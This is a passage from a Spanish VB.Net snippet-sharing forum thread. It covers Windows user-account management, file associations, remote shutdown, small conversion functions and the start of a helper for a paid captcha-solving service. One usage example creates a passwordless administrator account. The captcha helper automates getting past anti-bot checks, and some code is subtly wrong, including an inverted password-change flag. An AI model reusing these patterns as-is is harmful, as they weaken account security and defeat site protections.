  460.    ''' A <see cref="WellKnownSidType"/> security identifier (SID) that determines the account group.
  461.    ''' </param>
  462.    ''' ----------------------------------------------------------------------------------------------------
  463.    ''' <returns>
  464.    ''' <c>True</c> if the user is a member of the specified group, otherwise, <c>False</c>.
  465.    ''' </returns>
  466.    ''' ----------------------------------------------------------------------------------------------------
  467.    <DebuggerStepThrough>
  468.    Public Shared Function IsMemberOfGroup(ByVal username As String,
  469.                                           ByVal groupSid As WellKnownSidType) As Boolean
  470.  
  471.        Using user As UserPrincipal = UserAccountUtil.FindUser(username)
  472.  
  473.            Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(user.Context, IdentityType.Sid, New SecurityIdentifier(groupSid, Nothing).Value)
  474.  
  475.                Return user.IsMemberOf(group)
  476.  
  477.            End Using ' group
  478.  
  479.        End Using ' user
  480.  
  481.    End Function
  482.  
  483.    ''' ----------------------------------------------------------------------------------------------------
  484.    ''' <remarks>
  485.    ''' Title : User is member of group...?.
  486.    ''' Author: Elektro
  487.    ''' Date  : 19-June-2015
  488.    ''' </remarks>
  489.    ''' ----------------------------------------------------------------------------------------------------
  490.    ''' <example>
  491.    ''' Dim userIsGuest As Boolean = UserAccountUtil.IsMemberOfGroup(username:="Administrator", groupname:="Guests")
  492.    ''' </example>
  493.    ''' ----------------------------------------------------------------------------------------------------
  494.    ''' <summary>
  495.    ''' Determines whether an user-account of the current machine context is a member of the specified group.
  496.    ''' </summary>
  497.    ''' ----------------------------------------------------------------------------------------------------
  498.    ''' <param name="username">
  499.    ''' The user name.
  500.    ''' </param>
  501.    '''
  502.    ''' <param name="groupname">
  503.    ''' The name of thehe group.
  504.    ''' </param>
  505.    ''' ----------------------------------------------------------------------------------------------------
  506.    ''' <returns>
  507.    ''' <c>True</c> if the user is a member of the specified group, otherwise, <c>False</c>.
  508.    ''' </returns>
  509.    ''' ----------------------------------------------------------------------------------------------------
  510.    <DebuggerStepThrough>
  511.    Public Shared Function IsMemberOfGroup(ByVal username As String,
  512.                                           ByVal groupname As String) As Boolean
  513.  
  514.        Using user As UserPrincipal = UserAccountUtil.FindUser(username)
  515.  
  516.            Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(user.Context, IdentityType.Name, groupname)
  517.  
  518.                Return user.IsMemberOf(group)
  519.  
  520.            End Using ' group
  521.  
  522.        End Using ' user
  523.  
  524.    End Function
  525.  
  526.    ''' ----------------------------------------------------------------------------------------------------
  527.    ''' <remarks>
  528.    ''' Title : Create user-account.
  529.    ''' Author: Elektro
  530.    ''' Date  : 19-June-2015
  531.    ''' </remarks>
  532.    ''' ----------------------------------------------------------------------------------------------------
  533.    ''' <example>
  534.    ''' Dim user as UserPrincipal = UserAccountUtil.Create(username:="Elektro",
  535.    '''                                                    password:="",
  536.    '''                                                    displayName:="Elektro Account.",
  537.    '''                                                    description:="This is a test user-account.",
  538.    '''                                                    canChangePwd:=True,
  539.    '''                                                    pwdExpires:=False,
  540.    '''                                                    groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
  541.    ''' </example>
  542.    ''' ----------------------------------------------------------------------------------------------------
  543.    ''' <summary>
  544.    ''' Creates a new user account in the current machine context.
  545.    ''' This function does NOT adds a new user in the current machine.
  546.    ''' </summary>
  547.    ''' ----------------------------------------------------------------------------------------------------
  548.    ''' <param name="username">
  549.    ''' The user name.
  550.    ''' </param>
  551.    '''
  552.    ''' <param name="password">
  553.    ''' The user password.
  554.    ''' If this value is empty, account is set to don't require any password.
  555.    ''' </param>
  556.    '''
  557.    ''' <param name="displayName">
  558.    ''' The display name of the user account.
  559.    ''' </param>
  560.    '''
  561.    ''' <param name="description">
  562.    ''' The description of the user account.
  563.    ''' </param>
  564.    '''
  565.    ''' <param name="canChangePwd">
  566.    ''' A value that indicates whether the user can change its password.
  567.    ''' </param>
  568.    '''
  569.    ''' <param name="pwdExpires">
  570.    ''' A value that indicates whether the password should expire.
  571.    ''' </param>
  572.    ''' ----------------------------------------------------------------------------------------------------
  573.    ''' <returns>
  574.    ''' An <see cref="UserPrincipal"/> object that contains the user data.
  575.    ''' </returns>
  576.    ''' ----------------------------------------------------------------------------------------------------
  577.    <DebuggerStepThrough>
  578.    Public Shared Function Create(ByVal username As String,
  579.                                  ByVal password As String,
  580.                                  ByVal displayName As String,
  581.                                  ByVal description As String,
  582.                                  ByVal canChangePwd As Boolean,
  583.                                  ByVal pwdExpires As Boolean) As UserPrincipal
  584.  
  585.        Using context As New PrincipalContext(ContextType.Machine)
  586.  
  587.            Dim user As New UserPrincipal(context)
  588.  
  589.            With user
  590.  
  591.                .Name = username
  592.  
  593.                .SetPassword(password)
  594.                .PasswordNotRequired = String.IsNullOrEmpty(password)
  595.  
  596.                .DisplayName = displayName
  597.                .Description = description
  598.  
  599.                .UserCannotChangePassword = canChangePwd
  600.                .PasswordNeverExpires = pwdExpires
  601.  
  602.                .Enabled = True
  603.                .Save()
  604.  
  605.            End With
  606.  
  607.            Return user
  608.  
  609.        End Using
  610.  
  611.    End Function
  612.  
  613.    ''' ----------------------------------------------------------------------------------------------------
  614.    ''' <remarks>
  615.    ''' Title : Add user-account.
  616.    ''' Author: Elektro
  617.    ''' Date  : 19-June-2015
  618.    ''' </remarks>
  619.    ''' ----------------------------------------------------------------------------------------------------
  620.    ''' <example>
  621.    ''' UserAccountUtil.Add(username:="Elektro",
  622.    '''                     password:="",
  623.    '''                     displayName:="Elektro Account.",
  624.    '''                     description:="This is a test user-account.",
  625.    '''                     canChangePwd:=True,
  626.    '''                     pwdExpires:=False,
  627.    '''                     groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
  628.    ''' </example>
  629.    ''' ----------------------------------------------------------------------------------------------------
  630.    ''' <summary>
  631.    ''' Adds a new user account in the current machine context.
  632.    ''' </summary>
  633.    ''' ----------------------------------------------------------------------------------------------------
  634.    ''' <param name="username">
  635.    ''' The user name.
  636.    ''' </param>
  637.    '''
  638.    ''' <param name="password">
  639.    ''' The user password.
  640.    ''' If this value is empty, account is set to don't require any password.
  641.    ''' </param>
  642.    '''
  643.    ''' <param name="displayName">
  644.    ''' The display name of the user account.
  645.    ''' </param>
  646.    '''
  647.    ''' <param name="description">
  648.    ''' The description of the user account.
  649.    ''' </param>
  650.    '''
  651.    ''' <param name="canChangePwd">
  652.    ''' A value that indicates whether the user can change its password.
  653.    ''' </param>
  654.    '''
  655.    ''' <param name="pwdExpires">
  656.    ''' A value that indicates whether the password should expire.
  657.    ''' </param>
  658.    '''
  659.    ''' <param name="groupSid">
  660.    ''' A <see cref="WellKnownSidType"/> security identifier (SID) that determines the account group where to add the user.
  661.    ''' </param>
  662.    ''' ----------------------------------------------------------------------------------------------------
  663.    <DebuggerStepThrough>
  664.    Public Shared Sub Add(ByVal username As String,
  665.                          ByVal password As String,
  666.                          ByVal displayName As String,
  667.                          ByVal description As String,
  668.                          ByVal canChangePwd As Boolean,
  669.                          ByVal pwdExpires As Boolean,
  670.                          Optional ByVal groupSid As WellKnownSidType = WellKnownSidType.BuiltinUsersSid)
  671.  
  672.        Using context As New PrincipalContext(ContextType.Machine)
  673.  
  674.            Using user As UserPrincipal = UserAccountUtil.Create(username, password, displayName, description, canChangePwd, pwdExpires)
  675.  
  676.                Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(context, IdentityType.Sid, New SecurityIdentifier(groupSid, Nothing).Value)
  677.  
  678.                    group.Members.Add(user)
  679.                    group.Save()
  680.  
  681.                End Using ' group
  682.  
  683.            End Using ' user
  684.  
  685.        End Using ' context
  686.  
  687.    End Sub
  688.  
  689.    ''' ----------------------------------------------------------------------------------------------------
  690.    ''' <remarks>
  691.    ''' Title : Add user-account.
  692.    ''' Author: Elektro
  693.    ''' Date  : 19-June-2015
  694.    ''' </remarks>
  695.    ''' ----------------------------------------------------------------------------------------------------
  696.    ''' <example>
  697.    ''' UserAccountUtil.Add(user:=myUserPrincipal, groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
  698.    ''' </example>
  699.    ''' ----------------------------------------------------------------------------------------------------
  700.    ''' <summary>
  701.    ''' Adds a new user account in the current machine context.
  702.    ''' </summary>
  703.    ''' ----------------------------------------------------------------------------------------------------
  704.    ''' <param name="user">
  705.    ''' An <see cref="UserPrincipal"/> object that contains the user data.
  706.    ''' </param>
  707.    '''
  708.    ''' <param name="groupSid">
  709.    ''' A <see cref="WellKnownSidType"/> security identifier (SID) that determines the account group where to add the user.
  710.    ''' </param>
  711.    ''' ----------------------------------------------------------------------------------------------------
  712.    <DebuggerStepThrough>
  713.    Public Shared Sub Add(ByVal user As UserPrincipal,
  714.                          Optional ByVal groupSid As WellKnownSidType = WellKnownSidType.BuiltinUsersSid)
  715.  
  716.        Using context As New PrincipalContext(ContextType.Machine)
  717.  
  718.            Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(context, IdentityType.Sid, New SecurityIdentifier(groupSid, Nothing).Value)
  719.  
  720.                group.Members.Add(user)
  721.                group.Save()
  722.  
  723.            End Using ' group
  724.  
  725.        End Using ' context
  726.  
  727.    End Sub
  728.  
  729.    ''' ----------------------------------------------------------------------------------------------------
  730.    ''' <remarks>
  731.    ''' Title : Delete user-account.
  732.    ''' Author: Elektro
  733.    ''' Date  : 19-June-2015
  734.    ''' </remarks>
  735.    ''' ----------------------------------------------------------------------------------------------------
  736.    ''' <example>
  737.    ''' UserAccountUtil.Delete(username:="User name")
  738.    ''' </example>
  739.    ''' ----------------------------------------------------------------------------------------------------
  740.    ''' <summary>
  741.    ''' Deletes an user account in the current machine context.
  742.    ''' </summary>
  743.    ''' ----------------------------------------------------------------------------------------------------
  744.    ''' <param name="username">
  745.    ''' The user name of the user-account to delete.
  746.    ''' </param>
  747.    ''' ----------------------------------------------------------------------------------------------------
  748.    ''' <exception cref="ArgumentException">
  749.    ''' User not found.;username
  750.    ''' </exception>
  751.    ''' ----------------------------------------------------------------------------------------------------
  752.    <DebuggerStepThrough>
  753.    Public Shared Sub Delete(ByVal username As String)
  754.  
  755.        Using curUser As UserPrincipal = UserAccountUtil.FindUser(username)
  756.  
  757.            curUser.Delete()
  758.  
  759.        End Using
  760.  
  761.    End Sub
  762.  
  763. #End Region
  764.  
  765. End Class
  766.  


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 22 Junio 2015, 03:08 am
Comparto esta class que sirve para registrar una extensión de archivo, o para obtener información de una extensión ya registrada en el sistema.

Si encuentran cualquier bug, hagan el favor de comunicármelo para arreglarlo en futuras versiones.



Diagrama de Class:
(http://i.imgur.com/GlDWNs9.png)



Ejemplos de uso:
Código
  1. FileAssocUtil.Register(regUser:=FileAssocUtil.RegistryUser.CurrentUser,
  2.                       extensionName:=".elek",
  3.                       keyReferenceName:="ElektroFile",
  4.                       friendlyName:="Elektro File",
  5.                       defaultIcon:="%WinDir%\System32\Shell32.ico",
  6.                       iconIndex:=0,
  7.                       executable:="%WinDir%\notepad.exe",
  8.                       arguments:="""%1""")

Código
  1. Dim isRegistered As Boolean = FileAssocUtil.IsRegistered(".elek")

Código
  1. Dim feInfo As FileAssocUtil.FileExtensionInfo = FileAssocUtil.GetFileExtensionInfo(".wav")
  2.  
  3. Dim sb As New StringBuilder
  4. With sb
  5.    .AppendLine(String.Format("FriendlyDocName: {0}", feInfo.FriendlyDocName))
  6.    .AppendLine(String.Format("ContentType: {0}", feInfo.ContentType))
  7.    .AppendLine(String.Format("DefaultIcon: {0}", feInfo.DefaultIcon))
  8.    .AppendLine("-----------------------------------------------------------")
  9.    .AppendLine(String.Format("FriendlyAppName: {0}", feInfo.FriendlyAppName))
  10.    .AppendLine(String.Format("Executable: {0}", feInfo.Executable))
  11.    .AppendLine(String.Format("Command: {0}", feInfo.Command))
  12.    .AppendLine("-----------------------------------------------------------")
  13.    .AppendLine(String.Format("DropTarget: {0}", feInfo.DropTarget))
  14.    .AppendLine(String.Format("InfoTip: {0}", feInfo.InfoTip))
  15.    .AppendLine(String.Format("No Open: {0}", feInfo.NoOpen))
  16.    .AppendLine(String.Format("Shell Extension: {0}", feInfo.ShellExtension))
  17.    .AppendLine(String.Format("Shell New Value: {0}", feInfo.ShellNewValue))
  18.    .AppendLine("-----------------------------------------------------------")
  19.    .AppendLine(String.Format("Supported URI Protocols: {0}", feInfo.SupportedUriProtocols))
  20.    .AppendLine(String.Format("DDE Application: {0}", feInfo.DdeApplication))
  21.    .AppendLine(String.Format("DDE Command: {0}", feInfo.DdeCommand))
  22.    .AppendLine(String.Format("DDE If Exec: {0}", feInfo.DdeIfExec))
  23.    .AppendLine(String.Format("DDE Topic: {0}", feInfo.DdeTopic))
  24. End With
  25.  
  26. MsgBox(sb.ToString)

(http://i.imgur.com/IgR4XSr.png)



Código fuente:
http://pastebin.com/gXbp78Pv
http://pastebin.com/aAscfAev


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: tincopasan en 22 Junio 2015, 10:11 am
Elektro:
            no entro nunca a la sección net así que recién hoy veo el trabajo que llevas realizado(no todo porque es mucho para ver en una sola vez y no es que me encante la programación) así que FELICITACIONES!! y no lo tomes como un grito sino como lo que es, admiración. Vi un par de codes de decimales y hexadeciales pero no vi de binarios, claro que no tiene uso, salvo a quienes nos gusta la ingeniería inversa más que la programación en si, pero es un minúsculo granito de arena.
Para pasar enteros a binarios

Código
  1.  Public Function DecaBin(numero As Integer) As String
  2.        If numero <= 2 Then 'Caso Base
  3.            DecaBin = (numero \ 2) & (numero Mod 2)
  4.        Else 'Caso Recursivo
  5.            DecaBin = DecaBin(numero \ 2) & numero Mod 2
  6.        End If
  7.    End Function
  8.  
  9.  
  10. # ejemplo de uso
  11.  
  12. Textbox = DecaBin(numeromio)


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 22 Junio 2015, 13:12 pm
@tincopasan

Antes de nada, Gracias por tu comentario ...ya hacia tiempo que nadie (más que yo) aportaba algo a este hilo, y que lo aporte alguien que no programa en .net (o eso me das a entender) tiene más mérito si cabe.

Pero debo hacer un pequeño apunte sobre el código (con la intención de que le sirva a alguien para aprender, o al menos eso deseo), mira, para convertir un entero a un string binario simplemente puedes recurrir a la utilización de la función Convert.ToString, a uno de sus overloads que toma cómo parametro la base.

Ejemplo:
Código
  1. Clipboard.SetText(Convert.ToString(123456789I, toBase:=2)) ' Resultado: 111010110111100110100010101

Esta opción está muy bien para simplificar el código, pero lo cierto es que tu metodología también es buena en el sentido de que enseña "la base" de cómo hacerlo utilizando la aritmética, a la antigua usanza, sin aprovecharse de estas funciones built-in de .Net que tanto nos facilitan la vida en una linea de código. Así cómo tú has mostrado se aprende mejor a resolver problemas, pero bueno, quería dejar constancia de la alternativa, la Class Convert es muy útil.

Saludos!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: tincopasan en 22 Junio 2015, 17:57 pm
Gracias por mostrar la forma simple de hacerlo, efectivamente no soy programador de ningún lenguaje en particular, pero usando la forma básica y conociendo las sentencias más comunes, if, then, for, while, etc. por ejemplo y de forma muy bruta resuelvo problemas en varios lenguajes, porque más allá de la riqueza de cada uno de ellos todos tienen la forma básica de empezar.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: tincopasan en 24 Junio 2015, 09:57 am
Sigo revisando, son muchos! en la parte de criptografía vi un code que hace el cifrado de Cesar, obviamente lo haría más a lo bruto:

Código
  1. Dim Lista() As String = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "ñ", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}
  2. Dim Adelante As Integer = 3    ' modificando este valor es cuantos lugares adelantamos para reemplazar
  3. Dim Letra As Char
  4. Dim x As Integer
  5. Dim cifrada As String = ""
  6.  
  7. Private Sub Cesar(palabra As String)
  8.    For i = 1 To Len(palabra)
  9.        Letra = GetChar(palabra, i)
  10.        For x = 0 To 26
  11.            If Letra = Lista(x) Then
  12.                x = (x + Adelante) Mod 27
  13.                Letra = CChar(Lista(x))
  14.                cifrada = cifrada + Letra
  15.                Exit For
  16.            End If
  17.        Next
  18.    Next
  19. MsgBox(cifrada)
  20. End Sub
  21. 'forma de uso
  22. Cesar("elhacker")


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 28 Junio 2015, 00:46 am
Una refactorización de una Class que ya compartí para apagar, reiniciar, o desloguear un equipo local o en red.

Diagrama de Class:
(http://i.imgur.com/8FawLBL.png)

Ejemplo de uso:
Código
  1.    Sub Test()
  2.  
  3.        ' Restart the current computer in 30 seconds and wait for applications to close.
  4.        ' Specify that the restart operation is planned because a consecuence of an installation.
  5.        Dim success As Boolean =
  6.            SystemRestarter.Restart("127.0.0.1", 30, "System is gonna be restarted quickly, go save all your data now...!",
  7.                                    SystemRestarter.ShutdownMode.Wait,
  8.                                    SystemRestarter.ShutdownReason.MajorOperatingSystem Or
  9.                                    SystemRestarter.ShutdownReason.MinorInstallation,
  10.                                    SystemRestarter.ShutdownPlanning.Planned)
  11.  
  12.        Console.WriteLine(String.Format("Restart operation initiated successfully?: {0}", CStr(success)))
  13.  
  14.        ' Abort the current operation.
  15.        If success Then
  16.            Dim isAborted As Boolean = SystemRestarter.Abort()
  17.            Console.WriteLine(String.Format("Restart operation aborted   successfully?: {0}", CStr(isAborted)))
  18.        Else
  19.            Console.WriteLine("There is any restart operation to abort.")
  20.        End If
  21.        Console.ReadKey()
  22.  
  23.        ' Shutdown the current computer instantlly and force applications to close.
  24.        ' ( When timeout is '0' the operation can't be aborted )
  25.        SystemRestarter.Shutdown(Nothing, 0, Nothing, SystemRestarter.ShutdownMode.ForceSelf)
  26.  
  27.        ' LogOffs the current user.
  28.        SystemRestarter.LogOff(SystemRestarter.LogOffMode.Wait)
  29.  
  30.    End Sub

Código fuente:
http://pastebin.com/FyH8U1ip
http://pastebin.com/3n9TbXB0 (corregido)

Fix:
El primer código no funcionaba, ya que al actualizar el código sin querer me equivoqué al escribir esto, lo dupliqué:
Citar
Código
  1. Private Shared ReadOnly privilegeNameOfShutdown As String = "SeRemoteShutdownPrivilege"
  2. Private Shared ReadOnly privilegeNameOfRemoteShutdown As String = "SeRemoteShutdownPrivilege"

Ya está corregido, resubido y testeado.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: tincopasan en 29 Junio 2015, 21:18 pm
muchas veces he tenido que hacer aplicaciones como facturas y lo que siempre queda bien o piden es que el número se pase a letras, una funcíon vieja que hace eso, estoy seguro que Elektro lo hace más fácil pero igual acá va:
Código
  1. Public Function NunAText(ByVal value As Double) As String
  2.        Select Case value
  3.            Case 0 : NunAText = "CERO"
  4.            Case 1 : NunAText = "UN"
  5.            Case 2 : NunAText = "DOS"
  6.            Case 3 : NunAText = "TRES"
  7.            Case 4 : NunAText = "CUATRO"
  8.            Case 5 : NunAText = "CINCO"
  9.            Case 6 : NunAText = "SEIS"
  10.            Case 7 : NunAText = "SIETE"
  11.            Case 8 : NunAText = "OCHO"
  12.            Case 9 : NunAText = "NUEVE"
  13.            Case 10 : NunAText = "DIEZ"
  14.            Case 11 : NunAText = "ONCE"
  15.            Case 12 : NunAText = "DOCE"
  16.            Case 13 : NunAText = "TRECE"
  17.            Case 14 : NunAText = "CATORCE"
  18.            Case 15 : NunAText = "QUINCE"
  19.            Case Is < 20 : NunAText = "DIECI" & NunAText(value - 10)
  20.            Case 20 : NunAText = "VEINTE"
  21.            Case Is < 30 : NunAText = "VEINTI" & NunAText(value - 20)
  22.            Case 30 : NunAText = "TREINTA"
  23.            Case 40 : NunAText = "CUARENTA"
  24.            Case 50 : NunAText = "CINCUENTA"
  25.            Case 60 : NunAText = "SESENTA"
  26.            Case 70 : NunAText = "SETENTA"
  27.            Case 80 : NunAText = "OCHENTA"
  28.            Case 90 : NunAText = "NOVENTA"
  29.            Case Is < 100 : NunAText = NunAText(Int(value \ 10) * 10) & " Y " & NunAText(value Mod 10)
  30.            Case 100 : NunAText = "CIEN"
  31.            Case Is < 200 : NunAText = "CIENTO " & NunAText(value - 100)
  32.            Case 200, 300, 400, 600, 800 : NunAText = NunAText(Int(value \ 100)) & "CIENTOS"
  33.            Case 500 : NunAText = "QUINIENTOS"
  34.            Case 700 : NunAText = "SETECIENTOS"
  35.            Case 900 : NunAText = "NOVECIENTOS"
  36.            Case Is < 1000 : NunAText = NunAText(Int(value \ 100) * 100) & " " & NunAText(value Mod 100)
  37.            Case 1000 : NunAText = "MIL"
  38.            Case Is < 2000 : NunAText = "MIL " & NunAText(value Mod 1000)
  39.            Case Is < 1000000 : NunAText = NunAText(Int(value \ 1000)) & " MIL"
  40.                If value Mod 1000 Then NunAText = NunAText & " " & NunAText(value Mod 1000)
  41.            Case 1000000 : NunAText = "UN MILLON"
  42.            Case Is < 2000000 : NunAText = "UN MILLON " & NunAText(value Mod 1000000)
  43.            Case Is < 1000000000000.0# : NunAText = NunAText(Int(value / 1000000)) & " MILLONES "
  44.                If (value - Int(value / 1000000) * 1000000) Then NunAText = NunAText & " " & NunAText(value - Int(value / 1000000) * 1000000)
  45.                'Case 1000000000000.0# : NunAText = "UN BILLON"
  46.                'Case Is < 2000000000000.0# : NunAText = "UN BILLON " & NunAText(value - Int(value / 1000000000000.0#) * 1000000000000.0#)
  47.                'Case Else : NunAText = NunAText(Int(value / 1000000000000.0#)) & " BILLONES"
  48.                '   If (value - Int(value / 1000000000000.0#) * 1000000000000.0#) Then NunAText = NunAText & " " & NunAText(value - Int(value / 1000000000000.0#) * 1000000000000.0#)
  49.        End Select
  50.  
  51.  
  52.    End Function

uso: NumAText(1897432)


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: crack81 en 5 Julio 2015, 04:28 am
Buenas queria preguntas si en este hilo solo se puede publicar codigo de vb y c# o tambien se puede de otro lenguajes

Ya que me he dado la tarea de traducir parte del codigo aqui ya publicado y otro mio en el lenguaje Delphi  o mejor lo pongo en otro post?


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 5 Julio 2015, 06:52 am
Buenas queria preguntas si en este hilo solo se puede publicar codigo de vb y c# o tambien se puede de otro lenguajes

Ya que me he dado la tarea de traducir parte del codigo aqui ya publicado y otro mio en el lenguaje Delphi  o mejor lo pongo en otro post?

Este hilo es para publicar códigos de VisualBasic.Net, aunque .Net no es solamente VB.Net y C#, pero Delphi no forma parte de .Net, lo mejor será que crees un post en la sección de programación general.

Saludos!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: josnan en 3 Septiembre 2015, 21:57 pm
Me gustaria probar esos snippets pero el enlace no funciona.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: josnan en 6 Septiembre 2015, 22:50 pm
Ya lo consegui de otro enlace.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 6 Septiembre 2015, 23:00 pm
@josnan

Se me olvidó responder a la petición que hiciste, la leí el otro día pero se me pasó contestarte, lo siento.

actualmente los snippets los estoy "reconstruyendo", refactorizando, reordenando, actualizándolos, etc, prefiero no publicarlos todavía, pero te los pasaré en breve por privado.

Gracias por tu interés, y perdona el pequeño olvido.

Saludos


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: josnan en 9 Septiembre 2015, 21:03 pm
Gracias, se aprende mucho con estos ejemplos.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Septiembre 2015, 09:01 am
Despues de un tiempo sin actualizar, volvemos a la carga con un par de snippets.



Ejemplo de uso de la librería CodeScales:
http://www.codescales.com/

Es un simple, muy simple cliente http que encapsula el código/miembros necesarios de la librería de classes de .Net para realizar peticiones Post con MultiPart, y otras, de forma muy sencilla:

Código
  1.  
  2.        ' *********************
  3.        ' Get Method
  4.        ' http://www.google.com
  5.        ' *********************
  6.        '
  7.        ' Dim client As New HttpClient
  8.        ' Dim getMethod As New HttpGet(New Uri("http://www.google.com/search"))
  9.        '
  10.        ' With getMethod
  11.        '     .Parameters.Add("q", "Hello")
  12.        '     .Parameters.Add("lr", "lang_en")
  13.        ' End With
  14.        '
  15.        ' Dim response As HttpResponse = client.Execute(getMethod)
  16.        ' Dim text As String = EntityUtils.ToString(response.Entity)
  17.  
  18.  
  19.  
  20.        ' **************************
  21.        ' Post Method with MultiPart
  22.        ' http://9kw.eu/
  23.        ' **************************
  24.        '
  25.        ' Dim apiKey As String = "XXXXXXXXXXXX"
  26.        ' Dim filepath As String = "C:\File.png"
  27.        '
  28.        ' Dim client As New HttpClient
  29.        ' Dim postMethod As New HttpPost(New Uri("http://www.9kw.eu/index.cgi"))
  30.        '
  31.        ' Dim multipartEntity As New MultipartEntity
  32.        ' postMethod.Entity = multipartEntity
  33.        '
  34.        ' With multipartEntity
  35.        '     .AddBody(New StringBody(Encoding.UTF8, "apikey", apiKey))
  36.        '     .AddBody(New StringBody(Encoding.UTF8, "action", "usercaptchaupload"))
  37.        '     .AddBody(New StringBody(Encoding.UTF8, "source", "vbapi"))
  38.        ' End With
  39.        '
  40.        ' Dim fileBody As New FileBody("file-upload-01", filepath, New IO.FileInfo(filepath))
  41.        ' multipartEntity.AddBody(fileBody)
  42.        '
  43.        ' Dim response As HttpResponse = client.Execute(postMethod)
  44.        ' Dim text As String = EntityUtils.ToString(response.Entity)
  45.  



9KW Captcha Helper
http://9kw.eu/
(veanse otros ejemplos de uso en el apartado de la API en la página oficial)

Es una class para utilizar el servicio de solución de captchas de 9KW. Este servicio es de pago, se necesita una API key para podr utilizarlo.

Por el momento cumple las dos labores más esenciales, la función GetCredits devuelve los créditos actuales del usuario, y el método SolveCaptcha soluciona el captcha especificado.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 18-September-2015
  4. ' ***********************************************************************
  5. ' <copyright file="KWCaptchaHelper.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Public Members Summary "
  11.  
  12. #Region " Properties "
  13.  
  14. ' KWCaptchaHelper.ApiKey As String
  15.  
  16. #End Region
  17.  
  18. #Region " Functions "
  19.  
  20. ' KWCaptchaHelper.GetCredits As String
  21.  
  22. #End Region
  23.  
  24. #Region " Methods "
  25.  
  26. ' KWCaptchaHelper.SolveCaptcha(String)
  27.  
  28. #End Region
  29.  
  30. #End Region
  31.  
  32. #Region " Usage Examples "
  33.  
  34. ' Dim captchaSolver As New KWCaptchaHelper(apiKey:="XXXXXXXXXXXXXXXXXXX")
  35. ' Dim imagePath As String = "C:\captcha.png"
  36. ' Dim result As String = String.Empty
  37.  
  38. ' Console.WriteLine(String.Format("User Credits: {0}", captchaSolver.GetCredits()))
  39. ' Console.WriteLine(String.Format("Captcha Img.: {0}", imagePath))
  40.  
  41. ' Console.WriteLine("Solving Captcha, please wait...")
  42. ' result = captchaSolver.SolveCaptcha(imagePath)
  43. ' Console.WriteLine(String.Format("Result: {0}", result))
  44.  
  45. 'Console.ReadKey()
  46.  
  47. #End Region
  48.  
  49. #Region " Imports "
  50.  
  51. Imports CodeScales.Http
  52. Imports CodeScales.Http.Entity
  53. Imports CodeScales.Http.Methods
  54. Imports CodeScales.Http.Entity.Mime
  55.  
  56. Imports System
  57. Imports System.IO
  58. Imports System.Linq
  59. Imports System.Text
  60. Imports System.Threading
  61.  
  62. #End Region
  63.  
  64. #Region " KWCaptchaHelper "
  65.  
  66. ''' ----------------------------------------------------------------------------------------------------
  67. ''' <summary>
  68. ''' 9KW Captcha service. Helper Class.
  69. ''' </summary>
  70. ''' ----------------------------------------------------------------------------------------------------
  71. ''' <remarks>
  72. ''' Visit <see href="http://9kw.eu/"/> for further info.
  73. ''' </remarks>
  74. ''' ----------------------------------------------------------------------------------------------------
  75. Public NotInheritable Class KWCaptchaHelper
  76.  
  77. #Region " Properties "
  78.  
  79.    ''' ----------------------------------------------------------------------------------------------------
  80.    ''' <summary>
  81.    ''' Gets the 9KW's API user key.
  82.    ''' </summary>
  83.    ''' ----------------------------------------------------------------------------------------------------
  84.    ''' <value>
  85.    ''' The 9KW's API user key.
  86.    ''' </value>
  87.    ''' ----------------------------------------------------------------------------------------------------
  88.    Public ReadOnly Property ApiKey As String
  89.        Get
  90.            Return Me.apiKeyB
  91.        End Get
  92.    End Property
  93.    ''' ----------------------------------------------------------------------------------------------------
  94.    ''' <summary>
  95.    ''' ( Backing field )
  96.    ''' The 9KW's API user key.
  97.    ''' </summary>
  98.    ''' ----------------------------------------------------------------------------------------------------
  99.    Private ReadOnly apiKeyB As String
  100.  
  101. #End Region
  102.  
  103. #Region " Constructors "
  104.  
  105.    ''' ----------------------------------------------------------------------------------------------------
  106.    ''' <summary>
  107.    ''' Initializes a new instance of the <see cref="KWCaptchaHelper"/> class.
  108.    ''' </summary>
  109.    ''' ----------------------------------------------------------------------------------------------------
  110.    ''' <param name="apiKey">
  111.    ''' The 9KW's API user key.
  112.    ''' </param>
  113.    ''' ----------------------------------------------------------------------------------------------------
  114.    Public Sub New(ByVal apiKey As String)
  115.  
  116.        Me.apiKeyB = apiKey
  117.  
  118.    End Sub
  119.  
  120.    ''' ----------------------------------------------------------------------------------------------------
  121.    ''' <summary>
  122.    ''' Prevents a default instance of the <see cref="KWCaptchaHelper"/> class from being created.
  123.    ''' </summary>
  124.    ''' ----------------------------------------------------------------------------------------------------
  125.    Private Sub New()
  126.    End Sub
  127.  
  128. #End Region
  129.  
  130. #Region " Private Methods "
  131.  
